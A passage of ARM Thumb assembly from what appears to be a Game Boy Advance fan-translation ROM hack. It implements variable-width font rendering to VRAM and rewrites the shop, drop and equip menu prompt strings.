lsr r2,r2,#3 // Get total tiles number
cmp r2,#2
blt +
mov r2,#2 // Prevent bad stuff
+
//---------------------------------------------------------------------------------------------
mov r0,r8
push {r0}
mov r8,r2
mov r2,#0xFF // If we had access to the stack, using a precompiled
mov r0,#7
and r0,r7
lsr r2,r0 // array would be faster... Probably
lsl r0,r2,#8
orr r2,r0
lsl r0,r2,#0x10
orr r2,r0
.loop_start:
push {r3,r7}
mov r0,#7 // Only consider part of the tile
and r7,r0
ldr r3,[r4,#0] // Load the first 4 rows
mov r1,r3
lsr r3,r7 // Shift them by curr_x
mov r0,#8
sub r0,r0,r7
lsl r1,r0
and r3,r2 // Left side
mvn r2,r2 // Get the inverted version
and r1,r2 // Right side
// TOP FOUR - LEFT
ldr r0,[r5,#0] // load what's in the current row
orr r0,r3 // OR them together
str r0,[r5,#0] // and now store it back
// TOP FOUR - RIGHT
str r1,[r6,#0] // and now store it back
// Now we do the bottom four!
ldr r3,[r4,#4] // Load the last 4 rows
mov r1,r3
lsr r3,r7 // Shift them by curr_x
mov r0,#8
sub r0,r0,r7
lsl r1,r0
and r1,r2 // Right side
mvn r2,r2 // Get the inverted version
and r3,r2 // Left side
// BOTTOM FOUR - LEFT
ldr r0,[r5,#4] // load what's in the current row
orr r0,r3 // OR them together
str r0,[r5,#4] // and now store it back
// BOTTOM FOUR - RIGHT
str r1,[r6,#4] // and now store it back
pop {r3,r7}
mov r0,r8 // increment counter
cmp r0,#1 // see if we're still under the # of tiles we need to process
ble .routine_end
sub r0,#1
mov r8,r0
add r7,#8
mov r0,r5
mov r5,r6
add r6,#0x20
cmp r7,#0x10
blt +
add r6,#0x6C
sub r3,#8
add r1,r7,r3
cmp r1,#8
blt +
sub r0,#0x20
ldrb r1,[r0,#9] // Grab the colour
mov r0,#1
strb r0,[r6,#8] // This tile is used
strb r1,[r6,#9] // Store the palette
+
add r4,#8
b .loop_start
//---------------------------------------------------------------------------------------------
.routine_end:
pop {r0}
mov r8,r0
pop {r4-r7,pc}
//=============================================================================================
//Prints a letter in one of the buffers. r0 is the letter, r1 is the buffer, r2 is the X
.print_letter:
push {r4-r7,lr}
add sp,#-0x24
mov r7,r0
lsl r3,r7,#0x14 // load the current letter's width
lsr r3,r3,#0x14
ldr r0,[sp,#0x38+0x30]
add r0,r0,r3
ldrb r3,[r0,#0] // r3 = letter's width
str r3,[sp,#0x20] // the current letter's width
mov r4,r2
mov r6,r1
bl .fast_prepare_main_font // load the letter in the stack
mov r5,r0
cmp r5,#0 // is there something to print at all?
beq .print_letter_end
sub r5,#1
cmp r5,#1 // is there something to print at the top?
beq +
mov r0,sp
mov r1,r6
add r1,#8
mov r2,r4
mov r3,r7
bl .write_Glyph_1bpp
+
cmp r5,#0 // is there something to print at the bottom?
beq .print_letter_end
add r0,sp,#0x10
mov r1,r6
add r1,#0x68
mov r2,r4
mov r3,r7
bl .write_Glyph_1bpp
.print_letter_end:
ldr r0,[sp,#0x20]
add sp,#0x24
pop {r4-r7,pc}
//=============================================================================================
//Checks wheter the next letter will overflow the allocated number of buffers
//r0 current letter, r1 number of still not fully used buffers, r2 curr_X in the current "Three tile"
.check_if_overflow:
push {r4,lr}
mov r4,r1
lsl r3,r0,#0x14 // load the current letter's width
lsr r3,r3,#0x14
ldr r0,[sp,#8+0x30]
add r0,r0,r3
ldrb r3,[r0,#0] // r3 = letter's width
add r0,r2,r3
add r0,#0x17 // Check for crossing the line
mov r1,#0x18
swi #6 // Divide by 0x18
sub r2,r4,r0 // Free buffers after this
mov r0,#0
cmp r2,#0 // Are there any free buffers left?
bge +
mov r0,#1 // Signal overflow
+
pop {r4,pc}
//============================================================================================
// This section of code stores the letter from the font's data to the stack.
// Main font version. Returns if there is data to print or not.
// r0 is the letter. r1 is the stack pointer
//============================================================================================
.fast_prepare_main_font:
ldr r2,=#{main_font} // we already know we're loading main font
lsl r0,r7,#0x14
lsr r0,r0,#0x14
lsl r0,r0,#5
add r0,r2,r0 // get the address
mov r5,r0
mov r1,sp
mov r2,#8
swi #0xB // CpuSet for 0x10 bytes
mov r0,r5
add r0,#0x10
add r1,sp,#0x10
mov r2,#8
swi #0xB // CpuSet for 0x10 bytes
ldr r0,=#{main_font_usage}
lsl r1,r7,#0x14
lsr r1,r1,#0x14
add r0,r0,r1
ldrb r0,[r0,#0] // Load tile usage for the letter
bx lr
//============================================================================================
// This section of code stores the last tile in a buffer, so it can be reloaded
// later when doing the rest of the strings.
// r1 is the number of used triple tiles buffers.
//============================================================================================
.save_next_tile:
push {r1}
cmp r1,#0
ble .save_next_tile_end
ldr r2,[sp,#4+0x2C]
ldrb r2,[r2,#4] // Is there a partially incomplete string?
cmp r2,#0
beq .save_next_tile_end
ldr r2,[sp,#4+0x14]
ldr r0,[sp,#4+0x18]
sub r2,r2,r0 // Get the currently not fully used buffers
sub r1,r1,r2 // Get the proper buffer the last tile is in
mov r0,#0xCC
mul r1,r0
ldr r2,[sp,#4+0x24] // Load the X and Y coords
ldrh r2,[r2,#8] // Final X
ldr r0,[sp,#4+8] // Last X
sub r0,r2,r0 // X in the final triple tile
mov r2,#0xAA
lsl r2,r2,#3
add r2,r2,r4 // Buffers
add r2,r2,r1 // Get into the final buffer
add r2,#8 // Enter the actual buffer
lsr r3,r0,#3
lsl r3,r3,#3
cmp r0,r3
beq .save_next_tile_end // If it's 8-pixels aligned, it won't use this info
lsr r0,r0,#3
lsl r0,r0,#5 // Get where the tile is in the buffer
ldr r1,[sp,#4+0x28] // Load where to temp store this data
ldr r3,[r2,#8] // Load the colour and whether it's used or not - Top Tile
str r3,[r1,#0x10]
add r0,r2,r0 // Get to the top tile
ldr r3,[r0,#0]
str r3,[r1,#8]
ldr r3,[r0,#4]
str r3,[r1,#0xC] // Store the top tile
add r2,#0x60 // Process the bottom tile
ldr r3,[r2,#8] // Load the colour and whether it's used or not - Bottom Tile
str r3,[r1,#0x1C]
add r0,#0x60 // Get to the bottom tile
ldr r3,[r0,#0]
str r3,[r1,#0x14]
ldr r3,[r0,#4]
str r3,[r1,#0x18] // Store the bottom tile
.save_next_tile_end:
pop {r1}
bx lr
//=============================================================================================
// This hack is called in order to change how everything is printed in VRAM. Based on 0x8048CE4
//=============================================================================================
define max_tiles $28
.print_vram:
push {r4-r7,lr}
mov r7,r10 // Base code
mov r6,r9
mov r5,r8
push {r5-r7}
add sp,#-0x44
mov r4,r0
mov r0,#{max_tiles} // max_tiles = buffer max
str r0,[sp,#0x10]
str r1,[sp,#0x34] // Save type of arrangements loading to r1
cmp r1,#0
beq +
mov r0,#0x74 // Change this value if the sp add changes from -0x44 (or the pushes change)!!!
mov r1,sp // This is where the data we want is now
add r0,r1,r0
ldr r1,[r0,#0]
str r1,[sp,#0x38]
ldr r1,[r0,#4]
str r1,[sp,#0x3C]
ldr r1,[r0,#8]
str r1,[sp,#0x40]
+
ldr r1,=#0x25F4
add r0,r4,r1
str r0,[sp,#0x24] // Cache a bunch of values to the stack
ldr r6,[r0,#0]
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
str r0,[sp,#0x20] // Which menu this is
ldr r0,=#{main_font_width}
str r0,[sp,#0x30] // main_font_width
mov r2,#0xAA
lsl r2,r2,#3
add r2,r2,r4
mov r9,r2
ldr r0,=#0x2013040
str r0,[sp,#0x28] // Start of the printing data
add r0,#0x20
str r0,[sp,#0x2C] // Replacement data
bl .load_remaining_strings // Load the remaining number of strings
str r1,[sp,#0xC]
mov r2,sp
mov r0,#1
strh r0,[r2,#0]
cmp r1,#0
bne +
b .print_vram_end
+
add r1,sp,#4
mov r10,r1
add r2,sp,#8
mov r8,r2
mov r3,#0xC3
lsl r3,r3,#3
add r7,r4,r3
.print_vram_start_of_str_loop:
bl .find_str // Search for the next string
cmp r0,#0
bne +
b .print_vram_end
+
sub r0,#1
str r0,[sp,#0x1C] // Save whether to restore the old tiles or not
cmp r0,#0
bne .print_vram_get_old_coords
// COORD STUFF
mov r0,r4
mov r1,r6
ldr r2,[sp,#0x20]
cmp r2,#6 // Skip if memo menu
beq +
ldr r1,[sp,#0x2C] // Load the address this was saved to
ldr r1,[r1,#0]
+
add r2,sp,#4
bl $8049280 // Get the string's coords
b .print_vram_got_coords
.print_vram_get_old_coords:
ldr r1,[sp,#0x24]
add r1,#8
ldrh r0,[r1,#0] //Load and save old X
mov r3,r10
strh r0,[r3,#0]
lsr r2,r0,#3
lsl r2,r2,#3
cmp r2,r0 // If it starts at 0 pixels in a new tile, then it doesn't need to restore the old tiles
bne +
mov r0,#0
str r0,[sp,#0x1C] // Don't restore the old tiles
+
ldrh r0,[r1,#2] // Load and save old Y
strh r0,[r3,#2]
.print_vram_got_coords:
add r5,sp,#4
mov r2,#0
ldsh r2,[r5,r2]
lsr r1,r2,#3
lsl r1,r1,#3
str r1,[sp,#8]
mov r3,#2
ldsh r3,[r5,r3]
mov r1,r9
ldr r0,[sp,#0x10]
bl .alloc_tiles_buffers // Allocate the buffers for the string
ldr r1,[sp,#0x10]
str r0,[sp,#0x10] // New amount of free buffers
sub r0,r1,r0
str r0,[sp,#0x14] // Amount of buffers used by the string
mov r0,#0
str r0,[sp,#0x18] // Currently fully used buffers
str r0,[sp,#0x1C] // Do not restore the old tiles
-
mov r0,#1
neg r0,r0
ldr r1,[r6,#0]
cmp r0,r1
beq .print_vram_eos
ldr r1,[sp,#0x14]
ldr r0,[sp,#0x18]
sub r1,r1,r0 // Get the currently not fully used buffers
ldrh r2,[r5,#0]
ldr r0,[sp,#8]
sub r2,r2,r0 // Get the "Three tile" X coord
ldr r0,[r6,#0] // Get the current letter
bl .check_if_overflow
cmp r0,#0
bne .print_vram_out_of_loop
mov r1,r9
ldr r0,[sp,#0x18]
mov r2,#0xCC
mul r0,r2
add r1,r1,r0 // Get the current buffer
ldrh r2,[r5,#0]
ldr r0,[sp,#8]
sub r2,r2,r0 // Get the "Three tile" X coord
ldr r0,[r6,#0] // Load the letter
bl .print_letter // Returns in r0 the current letter's width
ldrh r2,[r5,#0]
add r2,r2,r0
strh r2,[r5,#0]
ldr r0,[sp,#8]
sub r2,r2,r0 // Get the "Three tile" X coord
cmp r2,#0x18
blt +
.print_vram_handle_long_char:
ldr r0,[sp,#8]
add r0,#0x18
str r0,[sp,#8]
ldr r0,[sp,#0x18]
add r0,#1 // Increase the number of fully used buffers
str r0,[sp,#0x18]
sub r2,#0x18
cmp r2,#0x18
bge .print_vram_handle_long_char
+
.print_vram_end_of_str_loop:
add r6,#4
b -
.print_vram_eos:
bl .exit_str
add r6,#4
mov r1,r9
ldr r0,[sp,#0x14]
mov r2,#0xCC
mul r0,r2
add r1,r1,r0 // Get the next buffer
mov r9,r1
bl .decrement_remaining_strings
ldr r0,[sp,#0x10]
cmp r0,#0 // Have we printed all that we could?
beq .print_vram_out_of_loop
cmp r1,#0 // Have we printed all the strings?
bgt .print_vram_start_of_str_loop
.print_vram_out_of_loop:
ldr r0,[sp,#0x24] // clobbered code
str r6,[r0,#0]
mov r1,r10
ldrh r2,[r1,#0] // Save current coords
strh r2,[r0,#8]
ldrh r2,[r1,#2]
strh r2,[r0,#0xA]
.print_vram_end:
ldr r0,=#0x76D7
add r2,r4,r0
ldr r0,[sp,#0x10]
mov r1,#{max_tiles} // Get how many buffers were used
sub r1,r1,r0
strb r1,[r2,#0] // Save the number so the game can use them
bl .save_next_tile
bl .convert_1bpp_4bpp
add sp,#0x44
pop {r3-r5}
mov r8,r3
mov r9,r4
mov r10,r5
pop {r4-r7,pc}
//=============================================================================================
// This hack fixes the string used when you try to sell an item at a shop.
//=============================================================================================
.sell_text:
push {r4-r6,lr}
mov r6,r8
mov r0,r7
push {r0,r6}
add sp,#-0x8
mov r7,#0x26 // starting x position
// Add the sell string to the shitpile
// First get its address
mov r0,#0x7D // using entry #0x7D in menus1
bl $80486A0 // gets the address of the sell string
/// custom mato code!
mov r8,r0 // save the address in r0 real quick
ldr r5,=#0x2014330
ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need
mov r1,r5
ldr r2,=#0x100
bl fill_mem
mov r1,r8 // copy string to RAM and parse custom CCs
mov r0,r5
bl $8048108
mov r0,r5 // this is where the string now is
bl get_string_width
mov r8,r0 // store string width in r8
mov r0,r5 // give the string address back to r0
// Set the variables/coords and add it to the shitpile
mov r5,#0x1
neg r5,r5
mov r2,#0xF
str r2,[sp,#0]
mov r6,#1
str r6,[sp,#0x4]
mov r1,r7
mov r2,#0x87
mov r3,r5
bl $8047CDC
// Add the item string to the shitpile
mov r0,r8 // pos += width of last string
add r7,r7,r0
ldr r4,=#0x201A1FD
ldrb r0,[r4,#0]
mov r1,#0xC
mov r2,#0x86
bl $8046974
ldrb r1,[r4,#0]
mov r0,#0x2
bl $8001C5C
push {r0}
bl get_string_width
mov r8,r0
pop {r0}
mov r4,r0
mov r1,#0xF
str r1,[sp,#0x0]
str r6,[sp,#0x4]
mov r1,r7
mov r2,#0x87
mov r3,#0x16
bl $8047CDC
mov r0,r8
add r1,r7,r0
// Add the question mark to the shitpile
ldr r0,=#.question_mark // address of a question mark
mov r2,#0x87
mov r3,#1
bl $8047CDC
// Add yes/no to the shitpile
mov r0,#0x3
bl $80486A0
mov r1,#0xF
str r1,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r5
bl $8047CDC
mov r0,#0x4
bl $80486A0
mov r2,#0xF
str r2,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r5
bl $8047CDC
add sp,#0x8
pop {r3,r4}
mov r7,r4
mov r8,r3
pop {r4-r6,pc}
.question_mark:
dw $001F
//=============================================================================================
// This hack fixes the string used when you try to buy an item at a shop.
//=============================================================================================
.buy_text:
push {r4-r6,lr}
mov r6,r8
mov r0,r7
push {r0,r6}
add sp,#-0x8
mov r7,#0x26 // starting x position
// Add the buy string to the shitpile
// First get its address
mov r0,#0x7C // using entry #0x7C in menus1
bl $80486A0 // gets the address of the buy string
/// custom mato code!
mov r8,r0 // save the address in r0 real quick
ldr r5,=#0x2014330
ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need
mov r1,r5
ldr r2,=#0x100
bl fill_mem
mov r1,r8 // copy string to RAM and parse custom CCs
mov r0,r5
bl $8048108
mov r0,r5 // this is where the string now is
bl get_string_width
mov r8,r0 // store string width in r8
mov r0,r5 // give the string address back to r0
// Set the variables/coords and add it to the shitpile
mov r5,#0x1
neg r5,r5
mov r2,#0xF
str r2,[sp,#0]
mov r6,#1
str r6,[sp,#0x4]
mov r1,r7
mov r2,#0x87
mov r3,r5
bl $8047CDC
// Add the item string to the shitpile
mov r0,r8 // pos += width of last string
add r7,r7,r0
ldr r4,=#0x201A1FD
ldrb r0,[r4,#0]
mov r1,#0xC
mov r2,#0x86
bl $8046974
ldrb r1,[r4,#0]
mov r0,#0x2
bl $8001C5C
push {r0}
bl get_string_width
mov r8,r0
pop {r0}
mov r4,r0
mov r1,#0xF
str r1,[sp,#0x0]
str r6,[sp,#0x4]
mov r1,r7
mov r2,#0x87
mov r3,#0x16
bl $8047CDC
mov r0,r8
add r1,r7,r0
// Add the question mark to the shitpile
ldr r0,=#.question_mark // address of a question mark
mov r2,#0x87
mov r3,#1
bl $8047CDC
// Add yes/no to the shitpile
mov r0,#0x3
bl $80486A0
mov r1,#0xF
str r1,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r5
bl $8047CDC
mov r0,#0x4
bl $80486A0
mov r2,#0xF
str r2,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r5
bl $8047CDC
add sp,#0x8
pop {r3,r4}
mov r7,r4
mov r8,r3
pop {r4-r6,pc}
//=============================================================================================
// This hack fixes the first frame that appears when you try to use an item.
//=============================================================================================
//.setup_block_use_frame1:
//push {lr}
//ldr r0,=#0x2003F08 //Don't print menu for the next frame
//mov r1,#1
//strb r1,[r0,#0]
//mov r1,r9
//ldrb r0,[r1,#0]
//pop {pc}
//.prevent_printing_maybe:
//push {lr}
//ldr r1,=#0x2003F08 //Don't print menu for the next frame
//ldrb r2,[r1,#0]
//cmp r2,#1
//bne +
//mov r2,#0
//strb r2,[r1,#0]
//mov r5,#1
//b .end_prevent_printing_maybe
//+
//mov r5,#0
//.end_prevent_printing_maybe:
//pop {r1}
//str r4,[sp,#0]
//str r5,[sp,#4]
//bx r1
//.block_normal_use_frame1:
//push {lr}
//ldr r0,=#0x2003F08 //Do we need to print this?
//ldrb r1,[r0,#0]
//cmp r1,#1
//bne +
//mov r1,#2
//strb r1,[r0,#0]
//pop {r1}
//ldr r1,=#0x8045E6D //If not, then branch away, we'll have .use_frame1 print instead
//bx r1
//+
//mov r0,#0x3E
//bl $80486A0
//pop {pc}
//.print_normal_use_frame1:
//push {lr}
//ldr r0,=#0x2003F08 //Do we need to print this?
//ldrb r1,[r0,#0]
//cmp r1,#2
//bne +
//mov r1,#1
//strb r1,[r0,#0]
//push {r0-r7}
//push {r5-r6}
//add sp,#-0x8
//mov r0,#0x41 // Goods
//bl $80486A0
//mov r7,#0x1
//neg r7,r7
//mov r6,#0xF
//str r6,[sp,#0]
//mov r4,#0x1
//str r4,[sp,#0x4]
//mov r1,#0xBF
//mov r2,#0x07
//mov r3,r7
//bl $8047CDC
//add sp,#0x8
//pop {r5-r6}
//pop {r0-r7}
//+
//mov r0,#0x3E
//bl $80486A0
//pop {pc}
//.block_frame1_goods:
//push {lr}
//ldr r0,=#0x2003F08 //Do we need to print this?
//ldrb r1,[r0,#0]
//cmp r1,#1
//bne +
//mov r1,#2
//strb r1,[r0,#0]
//pop {r1}
//ldr r1,=#0x804045F
//bx r1
//+
//mov r0,#0x41
//bl $80486A0
//pop {pc}
//.use_frame1:
//push {lr}
//mov r0,r2
//bl $8055594 // Call that sets the OAM entries for the text
// Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those
//push {r0-r7}
//push {r5-r6}
//ldr r0,=#0x2003F08 //Do we need to print this?
//ldrb r7,[r0,#0]
//cmp r7,#1
//bne .end_use_frame1
//add sp,#-0x8
//mov r0,#0x41 // Goods
//bl $80486A0
//mov r7,#0x1
//neg r7,r7
//mov r6,#0xF
//str r6,[sp,#0]
//mov r4,#0x1
//str r4,[sp,#0x4]
//mov r1,#0xBF
//mov r2,#0x07
//mov r3,r7
//bl $8047CDC
//mov r0,#0x3C // Menu
//bl $80486A0
//mov r7,#0x1
//neg r7,r7
//mov r6,#0xF
//str r6,[sp,#0]
//mov r4,#0x0
//str r4,[sp,#0x4]
//mov r1,#0x1A
//mov r2,#0x30
//mov r3,r7
//bl $8047CDC
//mov r0,#0x3E // Use
//bl $80486A0
//str r6,[sp,#0]
//str r4,[sp,#0x4]
//mov r1,#0x1A
//mov r2,#0x3C
//mov r3,r7
//bl $8047CDC
//mov r0,#0x3F // Give
//bl $80486A0
//str r6,[sp,#0]
//str r4,[sp,#0x4]
//mov r1,#0x1A
//mov r2,#0x48
//mov r3,r7
//bl $8047CDC
//mov r0,#0x40 // Drop
//bl $80486A0
//str r6,[sp,#0]
//str r4,[sp,#0x4]
//mov r1,#0x1A
//mov r2,#0x54
//mov r3,r7
//bl $8047CDC
//ldr r0,=#0x2003F08 //If we printed this once, then it's not needed anymore
//mov r1,#0x0
//strb r1,[r0,#0]
//add sp,#0x8
//.end_use_frame1:
//pop {r5-r6}
//pop {r0-r7}
//pop {pc}
//=============================================================================================
// This hack fixes the string used when you try to drop an item.
//=============================================================================================
.drop_text:
// ----------------------------------------------
// Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those
push {r4-r7,lr}
mov r6,r8
push {r6}
add sp,#-0x8
mov r0,#0x3C // Menu
bl $80486A0
mov r7,#0x1
neg r7,r7
mov r6,#0xF
str r6,[sp,#0]
mov r4,#0x0
str r4,[sp,#0x4]
mov r1,#0x1A
mov r2,#0x30
mov r3,r7
bl $8047CDC
mov r0,#0x3E // Use
bl $80486A0
str r6,[sp,#0]
str r4,[sp,#0x4]
mov r1,#0x1A
mov r2,#0x3C
mov r3,r7
bl $8047CDC
mov r0,#0x3F // Give
bl $80486A0
str r6,[sp,#0]
str r4,[sp,#0x4]
mov r1,#0x1A
mov r2,#0x48
mov r3,r7
bl $8047CDC
mov r0,#0x40 // Drop
bl $80486A0
str r6,[sp,#0]
str r4,[sp,#0x4]
mov r1,#0x1A
mov r2,#0x54
mov r3,r7
bl $8047CDC
// ----------------------------------------------
// Get some value
ldr r0,=#0x2015D98
ldrb r0,[r0,#0]
// Only load the text if the throw submenu is open (this value << 0x1D < 0)
lsl r0,r0,#0x1D
cmp r0,#0x0
blt .drop_text_end
// ----------------------------------------------
// Load the "-- Throw away?" text address
mov r0,#0x81
bl $80486A0
/// custom mato code!
mov r8,r0 // save the address in r0 real quick
ldr r5,=#0x2014330
ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need
mov r1,r5
ldr r2,=#0x100
bl fill_mem
mov r1,r8 // copy string to RAM and parse custom CCs
mov r0,r5
bl $8048108
mov r0,r5 // this is where the string now is
bl get_string_width
mov r8,r0 // store string width in r8
mov r0,r5 // give the string address back to r0
// ----------------------------------------------
// Add the Throw Away text to the shitpile
mov r5,#1
str r6,[sp,#0]
str r5,[sp,#0x4]
mov r1,#0x26
mov r8,r1 // store the current X loc to r9
mov r2,#0x87
mov r3,r7
mov r4,r0 // back up the address
bl $8047CDC
// ----------------------------------------------
// Get the width of the Throw Away string
mov r0,r4
bl get_string_width
add r8,r0 // xloc += width_of_throwaway
// ----------------------------------------------
// Get the item ID
ldr r4,=#0x201A1FD
ldrb r0,[r4,#0]
// ----------------------------------------------
// Do something mysterious
mov r1,#0xC
mov r2,#0x86
bl $8046974
// ----------------------------------------------
// Gets the item address
ldrb r1,[r4,#0]
mov r0,#0x2
bl $8001C5C
mov r4,r0
// r0/r4 = address, r3 = max length
// ----------------------------------------------
// Add the item name to the shitpile
str r6,[sp,#0]
str r5,[sp,#0x4]
mov r1,r8
mov r2,#0x87
mov r3,#0x16 // max length for normal items
bl $8047CDC
// ----------------------------------------------
// Get the width of the item name
mov r0,r4
bl get_string_width
add r8,r0 // xloc += width_of_itemname
// ----------------------------------------------
// Add the question mark to the shitpile
str r6,[sp,#0]
str r5,[sp,#0x4]
ldr r0,=#.question_mark
mov r1,r8
mov r2,#0x87
mov r3,#1
bl $8047CDC
// ----------------------------------------------
// Add Yes and No to the shitpile
mov r0,#0x3
bl $80486A0
str r6,[sp,#0]
str r5,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r7
bl $8047CDC
mov r0,#0x4
bl $80486A0
str r6,[sp,#0]
str r5,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r7
bl $8047CDC
// ----------------------------------------------
.drop_text_end:
add sp,#0x8
pop {r3}
mov r8,r3
pop {r4-r7}
pop {r0}
bx r0
//=============================================================================================
// This hack fixes the string used when you are asked to equip a bought item.
//=============================================================================================
.equip_text:
push {r4-r6,lr}
mov r6,r8
push {r6}
add sp,#-0x8
// ----------------------------------------------
// Check the menu status value again
ldr r0,=#0x2015D98
ldrb r0,[r0,#0]
lsl r0,r0,#0x1D
cmp r0,#0x0
bge +
// ----------------------------------------------
// If it's negative again, use a different string
mov r0,#0xB9 // [person] equipped the [item]!
bl $80486A0
mov r4,r0
mov r1,#0x1C
mov r2,#0x87
bl $8047F28
b .equip_text_end
+
// ----------------------------------------------
// Load the "-- Equip now?" text address
mov r0,#0x80
bl $80486A0
/// custom mato code!
mov r8,r0 // save the address in r0 real quick
ldr r5,=#0x2014330
ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need
mov r1,r5
ldr r2,=#0x100
bl fill_mem
mov r1,r8 // copy string to RAM and parse custom CCs
mov r0,r5
bl $8048108
mov r0,r5 // this is where the string now is
bl get_string_width
mov r8,r0 // store string width in r8
mov r0,r5 // give the string address back to r0
// ----------------------------------------------
// Add it to the shitpile
mov r5,#0xF
str r5,[sp,#0]
mov r6,#0x1
str r6,[sp,#0x4]
mov r1,#0x26
mov r8,r1
mov r2,#0x87
mov r3,#1
neg r3,r3
mov r4,r0
bl $8047CDC
// ----------------------------------------------
// Get the width of the equip text
mov r0,r4
bl get_string_width
add r8,r0
// ----------------------------------------------
// Do the mystery item function
ldr r4,=#0x201A1FD
ldrb r0,[r4,#0]
mov r1,#0xC
mov r2,#0x86
bl $8046974
// ----------------------------------------------
// Get the item address
ldrb r1,[r4,#0]
mov r0,#0x2
bl $8001C5C
mov r4,r0
// ----------------------------------------------
// Add the item name to the shitpile
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r0,r4
mov r1,r8
mov r2,#0x87
mov r3,#0x16
bl $8047CDC
// ----------------------------------------------
// Get the width of the item name
mov r0,r4
bl get_string_width
add r8,r0
// ----------------------------------------------
// Add " now?" to the shitpile
str r5,[sp,#0]
str r6,[sp,#0x4]
ldr r0,=#.equip_now_text
mov r1,r8
mov r2,#0x87
//mov r3,#5
mov r3,#1
bl $8047CDC
// ----------------------------------------------
// Add Yes and No to the shitpile
mov r4,#1
neg r4,r4
mov r0,#0x3
bl $80486A0
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r4
bl $8047CDC
mov r0,#0x4
bl $80486A0
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r4
bl $8047CDC
// ----------------------------------------------
.equip_text_end:
add sp,#0x8
pop {r3}
mov r8,r3
pop {r4-r6}
pop {r0}
bx r0
.equip_now_text:
dw $001F
//dw $0040,$004E,$004F,$0057,$001F
//=============================================================================================
// This hack fixes the string used when you are asked to sell a currently equipped item after
// buying new equipment.
//=============================================================================================
//print pc
.sell_old_equip_text:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-0x8
// ----------------------------------------------
// Get the address of "Sell your "
mov r0,#0x7F
bl $80486A0
mov r4,r0
// ----------------------------------------------
// Add it to the shitpile
mov r5,#0xF
str r5,[sp,#0]
mov r6,#0x1
str r6,[sp,#0x4]
mov r1,#0x26
mov r8,r1
mov r2,#0x87
mov r3,#1
neg r3,r3
bl $8047CDC
// ----------------------------------------------
// Get the width of "Sell your "
mov r0,r4
bl get_string_width
add r8,r0
// ----------------------------------------------
// Get the item ID, do the mystery function
ldr r7,=#0x201A1FD
ldrb r0,[r7,#0]
mov r1,#0xC
mov r2,#0x86
bl $8046974
// ----------------------------------------------
// Get the item address
ldrb r1,[r7,#0]
mov r0,#0x2
bl $8001C5C
// ----------------------------------------------
// Add the item to the shitpile
mov r4,r0
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,r8
mov r2,#0x87
mov r3,#0x16
bl $8047CDC
// ----------------------------------------------
// Get the item width
mov r0,r4
bl get_string_width
add r8,r0
// ----------------------------------------------
// Do some extra crap; don't touch
ldr r2,=#0x80E5108
ldrb r1,[r7,#0]
mov r0,#0x6C
mul r0,r1
add r0,r0,r2
ldrh r1,[r0,#0xA]
ldr r0,=#0x201A518
strh r1,[r0,#0]
// ----------------------------------------------
// Get the address of "-- [DPAMT] DP"
mov r0,#0x7E
bl $80486A0
// ----------------------------------------------
// Add the DP text to the shitpile
mov r1,r8
mov r2,#0x87
bl $8047F28 // alternate shitpiler
// ----------------------------------------------
// Get the width of the parsed DP text
ldr r0,=#0x203FFFC
ldr r0,[r0,#0]
bl get_string_width
add r8,r0
// ----------------------------------------------
// Add Yes and No to the shitpile
mov r0,#0x3
bl $80486A0
mov r4,#1
neg r4,r4
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r4
bl $8047CDC
mov r0,#0x4
bl $80486A0
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r4
bl $8047CDC
// ----------------------------------------------
add sp,#0x8
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7}
pop {r0}
bx r0
//=============================================================================================
// This hack steps into the menu text parser and stores the parsed address to 203FFFC.
//=============================================================================================
.parser_stepin:
ldr r0,=#0x203FFF8
str r6,[r0,#0] // Original address
str r5,[r0,#4] // Parsed address
lsl r4,r4,#2
add r4,r9
bx lr
// This sets the parsed flag for use with 8047CDC
.parser_stepin2:
ldr r4,=#0x203FFF7
mov r5,#1
strb r5,[r4,#0]
mov r5,r0
mov r4,r1 // clobbered code
bx lr
// This adds the real address to the table at 203FFA0
.parser_stepin3:
push {r0,r2,r3}
// r0 = counter
// ----------------------------------------------
// Get the target address ready; addr = 203FFA0 + (counter * 4)
ldr r1,=#0x203FFA0
lsl r0,r0,#2
add r1,r1,r0
// ----------------------------------------------
// Check the parsed flag
ldr r2,=#0x203FFF7
ldrb r0,[r2,#0]
mov r3,#0
strb r3,[r2,#0]
cmp r0,#0
bne +
// Use the address in r5
str r5,[r1,#0]
b .parser_stepin3_end
+
// Use the original address from 203FFF8
add r2,#1
ldr r0,[r2,#0]
// ----------------------------------------------
// Store it to the table
str r0,[r1,#0]
.parser_stepin3_end:
pop {r0,r2,r3}
mov r1,r0
lsl r0,r1,#2 // clobbered code
bx lr
//=============================================================================================
// This hack applies a VWF to item text and other non-sprite text in the main menus.
//=============================================================================================
.item_vwf:
push {r2,r6,lr}
ldr r6,[r6,#0]
lsl r6,r6,#0x14
lsr r0,r6,#0x14 // r0 has the letter now
ldr r2,=#{main_font_width} // r2 now points to the start of 16x16 font's width table
ldrb r0,[r2,r0] // load r0 with the appropriate width
pop {r2,r6,pc}
//=============================================================================================
// This hack makes Chapter End (and other stuff?) appear nicely on the file select screens
//=============================================================================================
.chap_end_text:
push {lr}
cmp r1,#0xCA
bne +
sub r0,r0,#2
+
